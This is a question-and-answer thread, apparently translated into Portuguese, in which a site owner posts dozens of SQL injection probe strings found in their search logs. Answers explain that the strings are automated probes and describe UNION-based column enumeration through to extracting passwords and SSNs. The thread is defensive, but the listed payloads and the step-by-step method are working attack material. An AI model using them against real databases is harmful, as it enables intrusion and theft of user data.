Propósito da injeção de SQL

1

Portanto, temos um campo de pesquisa em nosso site e salve todos os termos de pesquisa em uma tabela de banco de dados.
Eu trouxe a tabela de termos de busca hoje e notei algumas buscas estranhas, onde fica bastante claro que alguém está tentando mexer no nosso banco de dados. Houve mais de 200 pesquisas hoje em dia.

Eles parecem ser variações de um tema:

999999.9) union all select 1 and (0=0
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 
999999.9 union all select /**/cOnCaT(0x217e21,0x51554144434f5245454e47494e45363636,0x217e21) 
999999.9 union all select 1 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39-- 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39-- 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39-- 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39-- 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39-- 
999999.9 union all select /**/cOnCaT(0x217e21,0x51554144434f5245454e47494e45363636,0x217e21)-- 
999999.9 union all select 1-- 
999999.9" /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39 and "0"="0 
999999.9" /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39 and "0"="0 
999999.9" /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and "0"="0 
999999.9" /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and "0"="0 
999999.9" /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and "0"="0 
999999.9" union all select /**/cOnCaT(0x217e21,0x51554144434f5245454e47494e45363636,0x217e21) and "0"="0 
999999.9" union all select 1 and "0"="0 
999999.9' /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39 and '0'='0 
999999.9' /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39 and '0'='0 
999999.9' /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and '0'='0 
999999.9' /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and '0'='0 
999999.9' /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and '0'='0 
999999.9' union all select /**/cOnCaT(0x217e21,0x51554144434f5245454e47494e45363636,0x217e21) and '0'='0 
999999.9' union all select 1 and '0'='0 
999999.9) /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39 and (0=0) 
999999.9) /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39 and (0=0) 
999999.9) /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and (0=0) 
999999.9) /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and (0=0) 
999999.9) /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and (0=0) 
999999.9) union all select /**/cOnCaT(0x217e21,0x51554144434f5245454e47494e45363636,0x217e21) and (0=0) 
999999.9) union all select 1 and (0=0) 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39
labor op99999' union select unhex(hex(version())) -- 'x'='x
labor op99999' union select unhex(hex(version())) -- 'x'='x

Nossa pesquisa no site usa consultas parametrizadas, e eu tentei colar algumas delas, então não acho que elas estejam recebendo nada, mas estou realmente curioso para saber o que elas estão tentando conseguir.

    
por AndyD273 10.04.2017 / 20:01

2 respostas

3

I'm really curious what they are trying to get.

No começo, nada. Estas são apenas sondas. Eles estão apenas tentando ver seu serviço produzir um resultado inesperado que indica que ele não conseguiu lidar com a entrada. Provavelmente não há nem mesmo uma pessoa real no teclado aqui; É provável que apenas um script tente várias possibilidades.

Se qualquer um dos probes for bem sucedido, a natureza do ataque irá mudar, e você começará a ver tentativas de fazer algo mais malicioso.

Eu não esperaria por isso, mesmo que você tenha certeza de que isso não pode acontecer. Verifique seus registros para ver de onde o ataque está vindo e, se possível, bloqueie esse usuário ou IP de ver seu sistema.

    
por 10.04.2017 / 21:19
2

O envio de cláusulas union all examina simultaneamente a vulnerabilidade à injeção e a estrutura das suas consultas. Usando postgres (porque é isso que tenho em mãos):

(unknown website query)    
/**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39

ERROR:  each UNION query must have the same number of columns
LINE 2: /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39
                                ^
********** Error **********

ERROR: each UNION query must have the same number of columns

Se o seu site encaminha esta mensagem de erro, eu aprendi que 1) a injeção de sql funcionou, e 2) a consulta de site desconhecido seleciona mais de uma coluna. Então, agora eu tento com duas colunas, três colunas e assim por diante até eu receber uma mensagem de erro diferente, por exemplo:

ERROR:  UNION types text and integer cannot be matched
LINE 2: /**/aLl /**/sElEcT 0x393133363636353631352e39, 0

Agora, sei que a injeção sql funciona e também sei que col_1 ou col_2 da sua consulta retornaram dados de texto. Em breve, maperei os pontos em que a injeção de sql é possível, o número de colunas retornadas e os tipos de dados de cada coluna.

Em seguida, posso experimentar o UNION a partir de nomes de tabelas comuns, como user , que podem armazenar informações valiosas:

(unknown website query)    
union all select user_id, password, ssn from user

O hacker também parece estar verificando se a sintaxe do comentário pode ser injetada: /**/ e -- . Isso é útil porque pode ser usado para modificar suas consultas, comentando e substituindo partes delas.

Eu acho que a capitalização incomum torna mais fácil para o hacker automatizar o processo de encontrar vulnerabilidades, procurando por uma string única na resposta do site. Há mais coisas acontecendo aqui, e eu não entendo tudo isso, mas espero que isso dê uma ideia geral de como seu site está sendo investigado.

    
por 10.04.2017 / 22:27

Tags